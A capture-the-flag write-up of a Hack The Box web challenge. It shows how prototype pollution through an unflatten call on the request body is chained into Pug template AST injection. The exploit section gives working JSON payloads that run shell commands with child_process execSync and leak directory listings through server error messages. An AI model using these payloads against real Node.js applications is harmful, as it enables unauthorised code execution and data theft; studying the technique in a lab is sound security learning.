It is quite a simple web challenge from Hack The Box, it requires you to analysis the source code of the challenges. Let’s start

Source code Analysis

It is very direct that the block of vulnerable code is sitting inside file routes/index.js (because other file don’t do any function). In this file, we 2 main route is / and /api/submit. Route / just render the index page and we can’t inject any thing here. However, with /api/submit things started to be juicy here

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

From here we know that it is using template engine Pug and our first thought is SSTI to inject some malicious payload to the template to render. Once again, this is quite impossiple because it does not take our input to place directly inside the tempalte. But we can see quite interesting thing here

const { artist } = unflatten(req.body);

We can see our request is parse directly inside unflatten to be flatten in to Object and this look so wrong here. Because it may allow us to pass our malicious object here, this is called prototype pollution.

Exploit

At first, I think we can overrid the function includes of artist.name by using this payload in the request body

{
    "artist.name.__proto__.includes": () => {return true}; ,
}

However, we recieve the error for JSON.parse because our payload isn’t in correct json form. So I try to google about this vulerables in Pug.js and I found article. The article explain very clear how we levearge from Prototype Pollution to exploit the function pug.compile. So I use this payload for exploit


{
    "artist.name":"Haigh",
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`sleep 5`)"
    }
}

We need to keep "artist.name":"Haigh" in order to pass the if condition to go pub.compile. Then I notice the one make the server reponse after 5s so this means our command run. But now how can we extract the data, we make reuest to our server and put data in the request. However, there is a simple one that we cause the error with our data inside it like this payload

{
    "artist.name":"Haigh",
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`echo aa >> /aaa/$(ls /)`)"
    }
}

I try to create a file with name is our reponse in a nonexisting directory. This we make the an error and the server will reponse like this
alt text
We are success to get data. Now you can go the folder /app to get the flag.
The end